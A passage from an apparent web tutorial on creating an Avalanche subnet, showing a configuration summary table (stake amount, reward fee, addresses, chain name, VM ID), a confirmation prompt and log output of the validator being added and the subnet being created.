class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> VALIDATE END                   <span class="hljs-operator">|</span> <span class="hljs-number">2023</span><span class="hljs-operator">-</span>04<span class="hljs-operator">-</span>09T18:<span class="hljs-number">20</span>:33Z                              <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> STAKE AMOUNT                   <span class="hljs-operator">|</span> <span class="hljs-number">1.000</span> $AVAX                                       <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> VALIDATE REWARD FEE            <span class="hljs-operator">|</span> <span class="hljs-number">2.000</span> <span class="hljs-operator">%</span>                                           <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> REWARD ADDRESS                 <span class="hljs-operator">|</span> EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy                 <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> CHANGE ADDRESS                 <span class="hljs-operator">|</span> EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy                 <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> NEW SUBNET VALIDATORS          <span class="hljs-operator">|</span> [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> SUBNET VALIDATION WEIGHT       <span class="hljs-operator">|</span> <span class="hljs-number">1</span>,000                                             <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> CHAIN NAME                     <span class="hljs-operator">|</span> amafanssubnet                                     <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> VM ID                          <span class="hljs-operator">|</span> juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> VM GENESIS PATH                <span class="hljs-operator">|</span> amafanssubnet_genesis.json                        <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
Use the arrow keys to navigate: ↓ ↑ → ←
  ▸ Yes, let<span class="hljs-string">'s create! I agree to pay the fee!
    No, stop it!
</span></code></pre><p>Click on Yes. and you will see the following output</p><pre data-type="codeBlock" text="
2022-06-13T18:21:03.709Z        info    client/p.go:405 adding validator        {&quot;start&quot;: &quot;2022-06-13T18:21:33.678Z&quot;, &quot;end&quot;: &quot;2023-04-09T18:20:33.000Z&quot;, &quot;stakeAmount&quot;: 1000000000, &quot;rewardAddress&quot;: &quot;EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy&quot;, &quot;changeAddress&quot;: &quot;EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy&quot;}
2022-06-13T18:21:03.812Z        info    platformvm/checker.go:48        polling P-Chain tx      {&quot;txId&quot;: &quot;4MQfGNN5o7HTTZL562P6NxKoSfVKGiodbh2ehm7oqZ2oavemB&quot;, &quot;expectedStatus&quot;: &quot;Committed&quot;}
2022-06-13T18:21:03.812Z        info    poll/poll.go:42 start polling   {&quot;internal&quot;: &quot;1s&quot;}
2022-06-13T18:21:05.948Z        info    poll/poll.go:66 poll confirmed  {&quot;took&quot;: &quot;2.136140586s&quot;}
added 167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 to primary network validator set (took 2.136140586s)

waiting for validator 167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 to start validating 11111111111111111111111111111111LpoYY...(could take a few minutes)


2022-06-13T18:23:36.737Z        info    client/p.go:131 creating subnet {&quot;dryMode&quot;: false, &quot;assetId&quot;: &quot;U8iRqJoiJm8xZHAacmvYyZVwqQx6uDNtQeP3CQ6fcgQk3JqnK&quot;, &quot;createSubnetTxFee&quot;: 100000000}
2022-06-13T18:23:36.850Z        info    platformvm/checker.go:74        polling subnet  {&quot;subnetId&quot;: &quot;QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV&quot;}
2022-06-13T18:23:36.850Z        info    platformvm/checker.go:48        polling P-Chain tx      {&quot;txId&quot;: &quot;QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV&quot;, &quot;expectedStatus&quot;: &quot;Committed&quot;}
2022-06-13T18:23:36.850Z        info    poll/poll.go:42 start polling   {&quot;internal&quot;: &quot;1s&quot;}
2022-06-13T18:23:38.966Z        info    poll/poll.go:66 poll confirmed  {&quot;took&quot;: &quot;2.11540627s&quot;}
2022-06-13T18:23:38.966Z        info    platformvm/checker.go:88        finding subnets {&quot;subnetId&quot;: &quot;QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV&quot;}
2022-06-13T18:23:38.966Z        info    poll/poll.go:42 start polling   {&quot;internal&quot;: &quot;1s&quot;}
